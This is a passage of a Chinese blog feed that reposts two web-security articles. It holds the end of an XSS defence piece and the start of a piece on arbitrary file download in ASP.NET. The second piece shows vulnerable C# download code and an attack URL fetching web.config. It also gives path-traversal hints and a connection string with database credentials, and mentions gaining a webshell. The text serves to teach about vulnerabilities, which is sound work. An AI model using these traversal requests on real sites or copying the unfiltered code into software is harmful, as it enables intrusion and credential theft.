0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;validateRequest&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"true"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;/&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;system&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;web&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;让我们来目睹当当网给我们带来的这一盛况：&lt;p&gt;&lt;img alt="" src="file:///C:/Users/Administrator/Desktop/(%E5%8E%9F%E5%88%9B)%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E5%AD%A6%E4%B9%A0%E4%B9%8B(1)%20-%20%E8%B7%A8%E7%AB%99%E5%BC%8F%E8%84%9A%E6%9C%AC(Cross-Site%20Scripting)%20-%20CoderZh%20-%20%E5%8D%9A%E5%AE%A2%E5%9B%AD_files/dangdang.JPG" width="756" height="256" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;在一些必须使用到HTML标签的地方，比如公告栏，可以使用其他格式的标示代替，比如论坛中广泛使用的BBCode，用[i]...["i]来表示斜体。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;然而，对于一些允许用户输入特定HTML的地方，强烈建议使用正则表达式进行匹配。比如：&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;/^(?:["s"w"?"!","."'""]*|(?:"&amp;lt;"/"?(?:i|b|p|br|em|pre)"&amp;gt;))*$/i&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;{&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;#Cool, it's valid input&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;发现问题&lt;/strong&gt;&lt;/p&gt;&lt;ol type="1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;查找所有包含用户输入的入口。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;跟踪流入应用程序的每一个数据。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;确定数据是否与输出有关系。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;如果与输出有关，它是不是原始数据，是不是经过处理的？&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;参考资料&lt;/strong&gt;&lt;/p&gt;&lt;ol type="1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;Michael Howard, David LeBlanc. "Writing Secure Code"&lt;/p&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;Mike Andrews, James A. Whittaker "How to Break Web Software"&amp;nbsp;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: none; color: #0066aa; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; "&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;Klein, Amit (July 4, 2005). "&lt;a href="http://www.webappsec.org/projects/articles/071105.shtml" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: none; color: #0066aa; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; "&gt;DOM Based Cross Site Scripting or XSS of the Third Kind&lt;/a&gt;". Web Application Security Consortium. Retrieved on 2008-05-28.&lt;/p&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;a href="http://ha.ckers.org/xss.html" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: none; color: #0066aa; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; "&gt;http://ha.ckers.org/xss.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2475700.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475700.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/04/28/2475697.html</id><title type="text">【转】Web文件操作脆弱性-----下载文件功能</title><summary type="text">Web脆弱性有很多种，本人也无法穷尽，本文主要是讲一下web站点实现下载文件中可能存在的问题。技术性比较差，大牛请飘过…对于web实现下载文件功能的方法有很多种，其中有一种方法直接将文件以字节流形式，发送给客户端，而文件的路径是通过参数传入，如果此时对传入参数没有进行过滤，则可能导致下载任意文件。该功能的asp.net代码类似如下形式：try{stringfilename=HttpUtility.UrlDecode(Request.QueryString["filename"].ToString());stringfilePath=Server.MapPath("</summary><published>2012-04-28T12:16:00Z</published><updated>2012-04-28T12:16:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475697.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475697.html"/><content type="html">&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Web脆弱性有很多种，本人也无法穷尽，本文主要是讲一下web站点实现下载文件中可能存在的问题。技术性比较差，大牛请飘过&amp;#8230;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;对于web实现下载文件功能的方法有很多种，其中有一种方法直接将文件以字节流形式，发送给客户端，而文件的路径是通过参数传入，如果此时对传入参数没有进行过滤，则可能导致下载任意文件。&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;该功能的asp.net代码类似如下形式：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;try&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;{&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;string&amp;nbsp;filename&amp;nbsp;=&amp;nbsp;HttpUtility.UrlDecode(Request.QueryString["filename"].ToString());&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;string&amp;nbsp;filePath&amp;nbsp;=&amp;nbsp;Server.MapPath("upfile/"&amp;nbsp;+&amp;nbsp;filename);//路径&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;//以字符流的形式下载文件&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;System.IO.FileStream&amp;nbsp;fs&amp;nbsp;=&amp;nbsp;new&amp;nbsp;FileStream(filePath,&amp;nbsp;FileMode.Open);&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;byte[]&amp;nbsp;bytes&amp;nbsp;=&amp;nbsp;new&amp;nbsp;byte[(int)fs.Length];&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;fs.Read(bytes,&amp;nbsp;0,&amp;nbsp;bytes.Length);&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;fs.Close();&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.ContentType&amp;nbsp;=&amp;nbsp;"application/octet-stream";&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;//通知浏览器下载文件&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.AddHeader("Content-Disposition",&amp;nbsp;"attachment;&amp;nbsp;&amp;nbsp;&amp;nbsp;filename="&amp;nbsp;+&amp;nbsp;HttpUtility.UrlEncode(fs.Name,&amp;nbsp;System.Text.Encoding.UTF8));&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.BinaryWrite(bytes);&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.Flush();&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.End();&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;}&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;catch&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;{&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;Response.Write("&amp;lt;script&amp;gt;alert('资料不存在！');history.back();&amp;lt;/script&amp;gt;");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;return;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;}&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;上述代码没有对filename参数进行过滤，导致可以下载任意文件.这个脆弱性对于asp.Net站点是非常致命，因为在asp.net站点下有网站的配置文件web.config，通常该文件中保存着连接数据库的用户名和密码，如果获得此信息，并且远程数据库可以远程访问，那么就可以直接登录远程数据库，通过数据库的差异备份等功能就可以获得webshell.下面简单操作一下这个过程：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;首先下载网站配置文件web.config&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;http://www.example.org/DownLoadFileLow.aspx?FileName=http://www.cnblogs.com/web.config&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;由于下载路径通常不是网站的根目录需要使用../回溯到网站的根目录，具体是几级回溯，需要根据具体的网站而定，这个只能是尝试，本人没有想出好的方法.&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;打开配置文件获得数据库连接字符串：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;&amp;lt;add&amp;nbsp;key="ConnectionStringSQL"&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;&amp;nbsp;value="server=www.example.org;database=Dbicid2011;uid=Dbicid2011;pwd=ici48736;initial&amp;nbsp;catalog=Dbicid2011"&amp;nbsp;/&amp;gt;&lt;/span&gt;&lt;br style="color: #13253c; 